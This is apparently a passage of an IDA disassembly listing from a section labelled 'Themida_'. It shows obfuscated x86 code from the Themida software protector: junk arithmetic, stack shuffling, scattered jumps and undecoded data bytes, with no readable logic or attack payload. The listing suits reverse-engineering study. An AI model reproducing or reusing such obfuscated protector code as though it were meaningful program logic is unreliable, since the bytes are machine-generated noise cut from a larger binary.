loc_505115:				; CODE XREF: Themida_:00511A9Fj
		sub	ch, 4Eh
		add	ch, 3Bh
		xor	dl, ch
		pop	ecx
		push	188Fh
		mov	[esp], edx
		mov	dh, 0FAh
		sub	bl, 27h
		add	bl, dh
		add	bl, 27h
		jmp	loc_50B225
; ---------------------------------------------------------------------------
		db 83h,	0E9h, 4
		dd 5C240C87h, 83240C89h, 248904ECh, 90E924h, 0DA880000h
		dd 5E2C05Bh, 0FFFAC5E9h, 243489FFh, 4DFBE9h, 3E0C100h
		dd 577B8305h, 23D3E94Bh, 4890000h, 5FB0E924h, 1C890000h
		dd 0B32BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50517A:				; CODE XREF: Themida_:00505E5Cj
		mov	ch, 41h
		sub	al, ch
		pop	cx
		pop	edx
		xor	bl, al
		movzx	eax, al
		jmp	loc_5161D1
; ---------------------------------------------------------------------------
byte_50518B	db 0ADh			; DATA XREF: Themida_:00502A2Co
		dd 1CF4BB53h, 0FB875A1Ah, 0FB87D7F7h, 5008E3C1h, 9D7BB7B8h
		dd 4CE9574Ch, 56000057h, 965A8EBEh, 2CE68174h, 0E919F355h
		dd 0D20h, 875EF029h, 77E92404h,	81000036h, 4ECh, 24248900h
		dd 4240483h, 0EC83505Ah, 64FCE904h, 0B8500000h,	4, 4244401h
		dd 1F93E9h, 0E6BE5600h,	8104ED33h, 760001C6h, 0B6CE8113h
		dd 81668F34h, 0EF37F3EEh, 6CC2817Eh, 119D628h, 6CEA81F2h
		dd 5E19D628h, 110EDE9h,	0E9C20100h, 10125h
; ---------------------------------------------------------------------------


loc_50521C:				; CODE XREF: Themida_:00517DB2j
		pop	esp
		mov	[esp], edi
		jmp	loc_513A71
; ---------------------------------------------------------------------------
aKViLSB		db '»k,}V‰Ù[)L$',8,'é}¡',0
		align 2


loc_505236:				; CODE XREF: Themida_:005107F9j
		push	small 7F50h
		mov	[esp], dx
		mov	dl, 5Fh
		xor	bl, dl
		mov	dx, [esp]
		push	4BD6h
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_5156B7
; ---------------------------------------------------------------------------
		db 5Fh
		dd 83243C8Bh, 0EA8304C4h, 24148704h, 240C895Ch,	2BF57h
		dd 0F9890000h, 0E171E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50527A:				; CODE XREF: Themida_:0050D5DAj
		push	2F061EF9h
		pop	edi
		sub	edi, 0B0031711h
		mov	ebx, edi
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_50D20E
; ---------------------------------------------------------------------------
		dd 4C406205h, 8BC30120h, 8FE92404h, 0FE00002Fh,	41EE80C6h
		dd 53F9E9h
		db 0
; ---------------------------------------------------------------------------


loc_5052B5:				; CODE XREF: Themida_:005105BAj
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		push	ebx
		jmp	loc_509165
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 59E90CAAh, 0D5D5E9h,	0C2E98100h, 0E97A8712h,	787Dh
		dd 0DF62C1BBh, 0E9DF893Eh, 2975h, 8104C483h, 4C6h, 2BB5300h
		dd 1000000h, 34335BDEh,	24343124h, 5C243433h, 240C8B66h
		dd 0F6CCE956h, 0E681FFFFh, 56E07392h, 72AF681h,	46E976FBh
		db 3Bh,	2 dup(0)
byte_505323	db 66h			; DATA XREF: Themida_:00502A24o
		dd 8324048Bh, 348904ECh, 1A2DE924h, 0E6890001h,	0D958E9h
		db 0
; ---------------------------------------------------------------------------


loc_505339:				; CODE XREF: Themida_:0050E753j
		push	ecx
		push	ebp
		mov	ebp, 19A561CFh
		jmp	loc_50D15F
; ---------------------------------------------------------------------------


loc_505345:				; CODE XREF: Themida_:00512E59j
		push	2109h
		mov	[esp], esp
		jmp	loc_510018
; ---------------------------------------------------------------------------
aSqs_		db 'SQéÂ_',0
		db 0
; ---------------------------------------------------------------------------


loc_505359:				; CODE XREF: Themida_:0051137Aj
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, 1
		and	ecx, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	3935h
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_50F9AF
; ---------------------------------------------------------------------------
		db 1
		dd 7D142DD8h, 34FF11DAh, 0C4815B24h, 4,	0DE1FE9h
		db 0
; ---------------------------------------------------------------------------


loc_505399:				; CODE XREF: Themida_:00511194j
		push	3FCFh
		mov	[esp], ecx
		push	ebx
		push	629831A3h
		pop	ebx
		jmp	loc_51212D
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 5D000000h, 478E9h, 39E95200h, 2900006Ch, 0C335BD9h
		dd 240C3124h, 8B240C33h, 4892424h, 222C6824h, 24890000h
		dd 4B85024h, 1000000h, 58042444h, 17E95758h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5053EB:				; CODE XREF: Themida_:00511938j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edi
		mov	edi, 4
		add	ebp, 5D143093h
		add	ebp, edi
		sub	ebp, 5D143093h
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 90h
		push	ecx
		mov	cl, 0A0h
		push	4820h
		mov	[esp], ebx
		mov	bl, cl
		jmp	loc_516CF7
; ---------------------------------------------------------------------------


loc_505436:				; CODE XREF: Themida_:0050FAE6j
		push	esi
		push	esp
		pop	esi
		push	ebp
		jmp	loc_51664B
; ---------------------------------------------------------------------------
		db 66h
		dd 2E9515Bh
		db 79h,	0
byte_505446	db 0			; DATA XREF: ___:off_4274D8o
; ---------------------------------------------------------------------------


loc_505447:				; CODE XREF: Themida_:0050CF14j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_503825
; ---------------------------------------------------------------------------
aQtsqp		db 'QTéŸp',0
		db 0
; ---------------------------------------------------------------------------


loc_505463:				; CODE XREF: Themida_:00517B8Dj
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		mov	esi, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	70h
		jmp	loc_511DB0
; ---------------------------------------------------------------------------
		db 81h
		dd 9A56AAEDh, 2434FF7Ch, 4EC8359h, 54240C89h, 4C18159h
		dd 81000000h, 4C1h, 0A9A2E900h,	535C0000h, 8904EC83h, 0C3BE2434h
		dd 894F4746h, 0CDE95EF3h
		db 15h,	1, 0
; ---------------------------------------------------------------------------


loc_5054CB:				; CODE XREF: Themida_:00503B5Ej
		sub	ebp, 4CE76143h
		pop	ebx
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_512DF0
; ---------------------------------------------------------------------------


loc_5054E3:				; CODE XREF: Themida_:0050E035j
		neg	ebx
		push	ebp
		mov	ebp, 586C73F9h
		xor	ebx, ebp
		jmp	loc_50D00F
; ---------------------------------------------------------------------------
		dw 0D801h
		dd 0D23B7A05h, 786AE904h, 14890000h, 4B046824h,	93680000h
		dd 89000001h, 4832424h,	48F0424h, 0B8505124h, 505135EAh
		dd 294FBA52h, 814A62D5h, 5C5ABEC2h, 0C2814230h,	6D2CB601h
		dd 2D5AD021h, 1FBC11C8h, 8650ED0Dh, 41842567h, 0E9485635h
		dd 0A08Eh, 17E60558h, 0C189E362h, 0E046E958h, 895CFFFFh
		dd 6856240Ch, 4CA86DC4h, 153AE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_505566:				; CODE XREF: Themida_:0050E580j
		add	eax, 56352508h
		shr	eax, 8
		or	eax, 70E20F91h
		xor	eax, 1D0B4533h
		push	edi
		mov	edi, 711A7D65h
		jmp	loc_50B8DD
; ---------------------------------------------------------------------------
		db 81h
		dd 0FE74CDC1h, 6E9C143h, 79EAE9h, 4C48300h, 0FFF967E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_505599:				; CODE XREF: Themida_:0051298Cj
		or	eax, eax
		jz	loc_50A2BB
		push	dword ptr [edi+1Ch]
		push	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_50B38C
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 52942389h, 295EF529h, 242C8BE9h, 4C481h, 0CD290000h
		dd 1CED8159h, 8138D4DDh, 0D74B95E9h, 71F5E91Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5055DE:				; CODE XREF: Themida_:00509588j
		sub	eax, 0DC91BA29h
		and	eax, 5696047Bh
		add	eax, 0E979FBA1h
		add	ebx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_505886
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 0E0C526C6h, 0F893E9B1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50560A:				; CODE XREF: Themida_:00507C5Cj
		mov	[esp], edi
		push	1
		mov	edi, [esp]
		jmp	loc_50630F
; ---------------------------------------------------------------------------
		dw 0DA09h
		dd 1EA835Bh, 0F707E2C1h, 0ABF281DAh, 2987BF7Ah,	2434FFD0h
		dd 0E289525Ah, 97D3E9h,	5528B900h, 0C1492F87h, 0F18102E9h
		dd 63A56905h, 18BFBB53h, 0C6E95DE7h, 810000D4h,	4C2h, 0A120E900h
		dd 0BD0000h, 29000000h,	5DEA89D5h, 29E9DAF7h, 0BE0000F9h
		dd 4BC75972h, 596EEE81h, 0CFE94BC7h
		db 0EEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_50567F:				; CODE XREF: Themida_:0051157Ej
		add	ebp, 2AA26B2Fh
		sub	ebp, ecx
		sub	ebp, 2AA26B2Fh
		pop	ecx
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ebp, 2CFC4E8Bh
		jmp	loc_51509B
; ---------------------------------------------------------------------------
		db 29h
		dd 535F5AD0h, 8904EC83h, 0B3E92414h
		db 3, 1, 0
; ---------------------------------------------------------------------------


loc_5056BF:				; CODE XREF: Themida_:005058CAj
		pop	esi
		add	eax, ebp
		pop	ebp
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_50D0BA
; ---------------------------------------------------------------------------
dword_5056D0	dd 86FBA52h, 0E28161C6h, 12903B08h, 5B24E9h, 24148B00h
					; DATA XREF: Themida_:005028D4o
		dd 678768h, 242C8900h, 10D3CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5056F1:				; CODE XREF: Themida_:0050B54Aj
		add	esp, 4
		mov	esi, ebp
		pop	ebp
		mov	edx, 2D6B34B9h
		sub	edx, 51C8353Ch
		add	edx, esi
		add	edx, 51C8353Ch
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_50AD9E
; ---------------------------------------------------------------------------
		db 54h,	8Fh, 4
		dd 24048324h, 241C8B04h, 5E016851h, 24890000h, 24048324h
		dd 51E95904h, 420000A7h, 7518EA81h, 0EAD1566Dh,	0A326C281h
		dd 0D6298A39h, 0E389535Ah, 4C381h, 6EE90000h, 5700004Dh
		dd 0D1725DBFh, 0CAF7814Bh, 817CE622h, 0B85E6AE7h, 0C7814712h
		dd 19B66B86h, 315FFA31h, 24148BD3h, 0E904C483h,	9580h
dword_50577C	dd 0C0BA52ADh, 0E952F260h, 0FFFFFFABh, 333AB951h, 5E955DBh
					; DATA XREF: Themida_:005028E0o
		dd 81000126h, 8179E7EBh, 81F3296Fh, 8179E7C3h, 24348B6Fh
		dd 171DE951h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5057AA:				; CODE XREF: Themida_:00502D75j
		inc	ebp
		jmp	loc_504013
; ---------------------------------------------------------------------------
		dd 99A4C781h, 0F929FFB4h, 240C875Fh, 34CDE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5057C2:				; CODE XREF: Themida_:00506212j
		pop	ebp
		jmp	loc_50749F
; ---------------------------------------------------------------------------
		dd 0E973C280h, 0EBAh, 9C242CD3h, 0FFD2F2E9h, 0AAE959FFh
		dd 10000F1h, 41BA52D3h,	13B4B2Bh, 0E5D7E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5057EE:				; CODE XREF: Themida_:00502AD6j
		mov	dh, 73h
		and	dh, 0C7h
		push	4BC5h
		mov	[esp], ebx
		mov	bl, 40h
		or	dh, bl
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		dec	dh
		jmp	loc_5151F1
; ---------------------------------------------------------------------------


loc_505810:				; CODE XREF: Themida_:00505ABAj
		mov	ecx, ebx
		pop	ebx
		push	7549h
		mov	[esp], edx
		mov	edx, 24h
		sub	edx, 0CA837D8h
		sub	edx, 139C2423h
		jmp	loc_50EAE2
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4C181h, 0E9810000h, 4, 31240C33h, 0C33240Ch,	14895C24h
		dd 44F6BA24h, 0BD550A62h, 1, 505DEA29h,	940494B8h, 58C22997h
		dd 18216852h, 2C890000h, 2434FF24h, 209DE9h, 241C8900h
		dd 744BD668h, 2434FF32h, 2540E95Bh
		db 1, 0
; ---------------------------------------------------------------------------


loc_505886:				; CODE XREF: Themida_:005055F9j
		push	dword ptr [esp+4]
		jmp	loc_50909A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 97C28100h, 0E946F034h,	5DB8h
; ---------------------------------------------------------------------------


loc_5058A0:				; CODE XREF: Themida_:00515C3Aj
		mov	edi, 9E623A4h
		xor	edi, 9E623A0h
		add	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	ecx, 4
		jmp	loc_50F8E7
; ---------------------------------------------------------------------------


loc_5058BC:				; CODE XREF: Themida_:00507866j
		pop	esp
		push	ebx
		jmp	loc_507B9E
; ---------------------------------------------------------------------------


loc_5058C3:				; CODE XREF: Themida_:00516E75j
		mov	esi, 4
		push	esi
		pop	ebp
		jmp	loc_5056BF
; ---------------------------------------------------------------------------
		db 83h
		dd 0B9E904C4h, 51000117h, 0F98A6BB9h, 59CF01BDh, 4498C181h
		dd 0E9810A2Eh, 0D772E17h, 0C181F929h, 0D772E17h, 68C6E9h
		dd 24048100h, 5BAB741Ch, 1CEA815Ah, 5B5BAB74h, 3AE9D2F7h
		dd 0FF0000B6h, 83592434h, 0C7E904C4h, 6800000Eh, 3601h
		dd 0B4240489h, 0C190E922h, 0F0000000h, 0F0005A66h, 0FE8AB652h
		dd 0FAE680CEh, 6E42E9h,	1F68100h, 0E972F179h, 596h, 1834B850h
		dd 0C5292CECh, 11C2E958h
		db 1, 0
; ---------------------------------------------------------------------------


loc_505956:				; CODE XREF: Themida_:00509681j
		shr	eax, 0Ch
		jmp	loc_50CFB6
; ---------------------------------------------------------------------------


loc_50595E:				; CODE XREF: Themida_:0050A98Cj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_50ED0A
; ---------------------------------------------------------------------------
		dw 1489h
		dd 4C6BBA24h, 0EA815A71h, 2D451FF7h, 63E1EA81h,	0DAF71ABBh
		dd 5742E2D1h, 0FFDC2AE9h, 0E9C388FFh, 8FA2h, 5676E181h
		dd 0E18106F4h, 22B71303h, 0FFF92CE9h, 0C8966FFh, 13F5E924h
		dd 5A580001h, 5B66FA00h, 8430E9h, 243C8700h, 2C6835Ch
		dd 191FE9h, 40B85000h, 0BA1E415Bh, 3AE4CE87h, 0E958C229h
		dd 64A9h
; ---------------------------------------------------------------------------


loc_5059DC:				; CODE XREF: Themida_:0050FB9Dj
		push	eax
		mov	ah, 3Bh
		mov	cl, ah
		pop	eax
		push	eax
		mov	ah, 5Fh
		sub	ah, 1
		sub	cl, ah
		pop	eax
		jmp	loc_509F3E
; ---------------------------------------------------------------------------


loc_5059F0:				; CODE XREF: Themida_:00517AB5j
		mov	ebx, 3FA97EFBh
		not	ebx
		xor	ebx, 0A384F3Ah
		sub	esp, 4
		jmp	loc_50F391
; ---------------------------------------------------------------------------
		dd 0C107E0C1h, 8E908E0h, 33FFFFEEh, 4312404h, 24043324h
		dd 2414875Ch, 2404095Ch, 0D0A1E99Ch, 0E8C1FFFFh, 1AEE0D02h
		dd 41E94FB3h, 0B9000120h, 2ED87430h, 66B0E9h, 67E98100h
		dd 3183E8A8h, 348B59CDh, 4C48124h, 89000000h, 0C9095DEAh
		dd 6FE7840Fh, 0EC830000h, 243C8904h, 0E952E789h, 3B21h
; ---------------------------------------------------------------------------


loc_505A6C:				; CODE XREF: Themida_:0051183Bj
		add	ecx, 28C647Ch
		or	ecx, 1B0B51D1h
		add	ecx, 3D17E10Eh
		jmp	loc_510920
; ---------------------------------------------------------------------------
		db 68h
		dd 33CEh, 24048F54h, 4240481h, 5A000000h, 0FFFBBAE9h, 0DDF75EFFh
		dd 0CEBD5556h, 8155725Dh, 0F735F8EDh, 8F0BE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_505AAE:				; CODE XREF: Themida_:005173EFj
		push	ebx
		mov	ebx, 68233D49h
		xor	ebx, 68233D48h
		jmp	loc_505810
; ---------------------------------------------------------------------------
		db 66h
		dd 665DEF31h, 66633A2Dh, 0CAE9F829h, 81000000h,	0EB2E47EAh
		dd 0C2835F06h, 24143302h, 33241431h, 248B2414h,	48B6624h
		dd 0A128E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_505AEE:				; CODE XREF: Themida_:0050BF9Ej
		add	ebp, 2
		push	7593h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5161AC
; ---------------------------------------------------------------------------
		dw 0F9BFh
		dd 81670367h, 5D3BC7EFh, 3EFC10Ah, 0BD6C781h, 814733D9h
		dd 549A96F7h, 0E9FA3123h, 0BF19h, 4BDh,	0FFEE0100h, 0E95D2434h
		dd 20F8h, 4E7C14Fh, 91A0E9h, 91C38100h,	8106E15Eh, 0EC3C7CEBh
		dd 81C3294Fh, 0EC3C7CC3h, 0A74E94Fh, 805C0001h,	89E9FEEBh
		dd 0B7000077h, 80D7F679h, 0B25249E7h, 80CAFED3h, 0E2C06BCAh
		dd 3DC28004h, 1FDDE9h
		db 0
; ---------------------------------------------------------------------------


loc_505B7D:				; CODE XREF: Themida_:00506E2Dj
		push	19A47D9Ah
		jmp	loc_51404E
; ---------------------------------------------------------------------------
		db 4Fh
		dd 4A2FE781h, 0F7816477h, 44630200h, 0F002E9h, 3A056600h
		dd 8B665F63h, 0C4812434h, 2, 74146866h,	24348966h, 1A4F68h
		dd 9E8CE900h, 0C3800000h, 5BD90021h, 8004E1C0h,	0C82892F1h
		dd 89515966h, 4C181E1h,	81000000h, 4E9h, 240C8700h, 176DE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_505BE2:				; CODE XREF: Themida_:00513819j
		add	ebx, 361B7B94h
		jmp	loc_5077BA
; ---------------------------------------------------------------------------


loc_505BED:				; CODE XREF: Themida_:00506E6Fj
		pop	ebx
		add	esp, 4
		push	esi
		mov	esi, 213542F1h
		add	eax, esi
		pop	esi
		sub	eax, ebx
		sub	eax, 213542F1h
		jmp	loc_50ACA7
; ---------------------------------------------------------------------------


loc_505C06:				; CODE XREF: Themida_:00513B0Cj
		sub	edi, ecx
		add	edi, 413E11CFh
		mov	ecx, [esp]
		add	esp, 4
		and	ecx, edi
		mov	edi, [esp]
		push	edx
		push	esp
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_515789
; ---------------------------------------------------------------------------
aSds		db '\é„é',0
		dd 4B800h, 44010000h, 0B3E90424h
		db 0Ah,	1, 0
; ---------------------------------------------------------------------------


loc_505C43:				; CODE XREF: Themida_:0050F7FDj
		push	edi
		jmp	loc_516963
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 8104C483h, 4C4h, 5348E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_505C5A:				; CODE XREF: Themida_:0051637Cj
		jmp	loc_502ACB
; ---------------------------------------------------------------------------
		db 54h
		dd 0A5F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_505C65:				; CODE XREF: Themida_:0050ACB5j
					; Themida_:loc_50EF3Fj
		push	ebp
		push	esp
		pop	ebp
		push	34DAh
		mov	[esp], eax
		push	5A7Dh
		mov	[esp], esi
		mov	esi, 4
		push	esi
		xor	dword ptr [esp], 4B5E4C19h
		pop	eax
		xor	eax, 4B5E4C19h
		pop	esi
		jmp	loc_5158D3
; ---------------------------------------------------------------------------


loc_505C91:				; CODE XREF: Themida_:0051518Fj
		mov	ebp, 3B1D1D3Ah
		jmp	loc_50C553
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4C68300h, 5C243487h, 573768h, 241C8900h, 0FF30428Fh
		dd 34FF2434h, 241C8B24h, 0E3C9E9h, 243C8B00h, 3047E9h
		db 0
byte_505CC9	db 68h,	0Ch, 79h	; DATA XREF: Themida_:00502880o
		dd 3C890000h, 0BF24h, 0EC830000h, 24148904h, 55515A54h
		dd 10413E9h, 0FDC18100h, 8B602701h, 0B368243Ch,	8900001Bh
		dd 0E189240Ch, 4BE56h, 0F1010000h, 4C1815Eh, 87000000h
		dd 17E9240Ch
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_505D0F:				; CODE XREF: Themida_:005114F7j
		mov	[esp], ebp
		push	esi
		jmp	loc_514026
; ---------------------------------------------------------------------------
		dd 33240431h, 0E0E92404h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_505D23:				; CODE XREF: Themida_:0050B228j
		push	edx
		mov	dh, 0A3h
		neg	dh
		sub	dh, 0F0h
		dec	dh
		shr	dh, 2
		jmp	loc_50A552
; ---------------------------------------------------------------------------
		db 50h,	53h, 51h
		dd 1A2891B9h, 0E9CB8946h, 1D9Eh, 0D8005B66h, 2C1AB252h
		dd 4D02847h, 24148B47h,	6604C483h, 0E946B252h, 531Dh, 4EC81h
		dd 1C890000h, 24048024h, 0DBF65B01h, 5750E3D0h,	0BE56E789h
		dd 4, 1B0CC781h, 0F70105F6h, 808CE9h
		db 0
; ---------------------------------------------------------------------------


loc_505D89:				; CODE XREF: Themida_:0050F3AEj
		mov	eax, edx
		pop	edx
		mov	esi, eax
		pop	eax
		push	47F2h
		jmp	loc_512971
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 2401E9h, 24343300h, 0CFEB815Ch, 113904Bh, 0CFC381EBh
		dd 0E913904Bh, 4D77h
; ---------------------------------------------------------------------------


loc_505DB8:				; CODE XREF: Themida_:00510A77j
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_50B12B
; ---------------------------------------------------------------------------


loc_505DCD:				; CODE XREF: Themida_:0050D281j
		xor	edx, edx
		jmp	loc_5086B9
; ---------------------------------------------------------------------------
		dd 54240489h, 8324048Bh, 895304C4h, 3CE951E3h, 0FFFFFFEBh
		dd 7BE92434h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_505DEF:				; CODE XREF: Themida_:005161B7j
		jmp	loc_502ACB
; ---------------------------------------------------------------------------
		dd 0B353FAB4h, 0CFEC8014h, 0B151DC00h, 0BBF18044h, 20B8E9h
		db 0
; ---------------------------------------------------------------------------


loc_505E09:				; CODE XREF: Themida_:0050A9F0j
		mov	edx, 46B12A9Ch
		neg	edx
		xor	edx, 0D49E94F5h
		mov	eax, 0EC624D03h
		jmp	loc_5146F9
; ---------------------------------------------------------------------------
		dd 0EC3BE959h, 0F9F6FFFFh, 0CCB60F66h, 0E95F5457h, 1956h
		dd 70AC68h, 241C8900h, 0E9CDB551h, 0AFE8h
; ---------------------------------------------------------------------------


loc_505E44:				; CODE XREF: Themida_:0050A7CAj
		mov	esi, 657B1005h
		dec	esi
		sub	esi, 95B358CDh
		sub	edx, esi
		pop	esi
		jmp	loc_512E6A
; ---------------------------------------------------------------------------


loc_505E58:				; CODE XREF: Themida_:0050A658j
		add	al, 37h
		push	cx
		jmp	loc_50517A
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 6Ch
		dd 0FF00001Dh, 348B2434h, 0E0895024h, 9488E9h
		db 0
; ---------------------------------------------------------------------------


loc_505E75:				; CODE XREF: Themida_:00513528j
		shl	ecx, 8
		add	ecx, 3DE01DBEh
		jmp	loc_507C86
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0DE9243Ch, 88FFFFE4h, 5FE95AF1h
		db 0E9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_505E93:				; CODE XREF: Themida_:005073E7j
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		jmp	loc_506C1A
; ---------------------------------------------------------------------------
		db 66h
		dd 3CC98059h, 6CF180h, 2434FFCCh, 3AE4E9h, 0BF575200h
		dd 448E6F65h, 15FFA89h,	0E9082454h, 10050h, 0BD5AD131h
		dd 9F83044Dh, 0E959CD01h, 0FFFFEE36h, 0E34E94Eh, 0C6810000h
		dd 4EBEF6FAh, 575EF589h, 56685FBFh, 49F78177h, 81626B6Bh
		dd 3E8783EFh, 0E9F989B9h, 0FFFFDB99h, 5AD530h, 0C96859EBh
		dd 89000025h, 5366240Ch, 0F9880EB7h, 0E1805B66h, 0BEC1806Ch
		dd 8059CB00h, 0D828FDC3h, 847DE9h, 4C48300h, 0B050DFF6h
		dd 135AE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_505F36:				; CODE XREF: Themida_:00517973j
		pop	esi
		push	ecx
		jmp	loc_50F826
; ---------------------------------------------------------------------------


loc_505F3D:				; CODE XREF: Themida_:005090B5j
		sub	ebx, eax
		jmp	loc_50F001
; ---------------------------------------------------------------------------
		dd 8124348Bh, 4C4h, 23E95700h, 8B00003Ch, 4892424h, 0DA67E924h
		dd 0BA520000h, 3E214FC1h, 815AD321h, 9103F8F3h,	0AB95118h
		dd 4131240Dh, 0FFEA4FE9h
		db 0FFh
byte_505F79	db 64h,	66h, 8Bh	; DATA XREF: Themida_:00502A48o
		dd 74686602h, 489666Dh,	0A2C9E924h, 0E95D0000h,	0F06Eh
; ---------------------------------------------------------------------------


loc_505F90:				; CODE XREF: Themida_:00504D98j
		pop	ebp
		add	edx, ecx
		push	eax
		mov	eax, 24EB4D0Eh
		shr	eax, 6
		shl	eax, 6
		sub	eax, 0E10009A7h
		sub	edx, eax
		pop	eax
		mov	eax, [edx]
		jmp	loc_507F1D
; ---------------------------------------------------------------------------
		dw 0EA83h
		dd 24148704h, 240C895Ch, 3D3E68h, 48F5400h, 68575024h
		dd 9E53159h, 55EF815Fh,	8909E531h, 44015FF8h, 8B580424h
		dd 0C483240Ch, 2CE56804h, 0ACE90000h, 0FFFFFFCDh, 34FF2434h
		dd 0F9E95B24h, 8B000051h, 5DE9240Ch, 8000010Ch,	0FA005FC2h
		dd 5B5FEA80h, 0C05AD008h, 0B75308E0h, 5BF820A2h, 0C6201B2Ch
		dd 8124048Bh, 4C4h, 9CA4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_506022:				; CODE XREF: Themida_:0051062Ej
		push	eax
		mov	eax, 24A837FDh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 756A02EAh
		push	esi
		mov	esi, 7485CC6h
		sub	edx, esi
		pop	esi
		jmp	loc_509C9E
; ---------------------------------------------------------------------------


loc_506041:				; CODE XREF: Themida_:0050A0D1j
		sub	ebx, 704C12DCh
		sub	ecx, ebx
		pop	ebx
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_50BCC7
; ---------------------------------------------------------------------------


loc_506054:				; CODE XREF: Themida_:00513DCDj
		push	3425h
		mov	[esp], esi
		push	10h
		mov	esi, [esp]
		add	esp, 4
		and	ebx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_50A801
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 0A4CA3C2h, 81DA0178h, 0A4CA3EAh, 0EA835B78h,	24143304h
		dd 33241431h, 895C2414h, 2CE92404h, 89FFFFCAh, 535859CEh
		dd 43D6E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5060AA:				; CODE XREF: Themida_:0050BC8Dj
		mov	edi, 4F2C3868h
		neg	edi
		inc	edi
		and	edi, 506C2ED1h
		neg	edi
		push	ecx
		mov	ecx, 60702A9Dh
		add	ecx, 2A5775FCh
		add	ecx, 446C2179h
		add	ecx, 208C3759h
		xor	edi, ecx
		pop	ecx
		add	ecx, edi
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_50FE73
; ---------------------------------------------------------------------------


loc_5060E3:				; CODE XREF: Themida_:005177E3j
		mov	[esp], ecx
		jmp	loc_5154CF
; ---------------------------------------------------------------------------


loc_5060EB:				; CODE XREF: Themida_:0050F17Fj
		add	esp, 4
		push	6C28h
		jmp	loc_51062B
; ---------------------------------------------------------------------------


loc_5060F8:				; CODE XREF: Themida_:005158A2j
		xor	edi, [esp]
		jmp	loc_50C711
; ---------------------------------------------------------------------------
		dd 2D2368h, 0A5ACE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50610A:				; CODE XREF: Themida_:00512430j
		mov	[esp], esp
		push	6D07h
		mov	[esp], ebp
		mov	ebp, 4
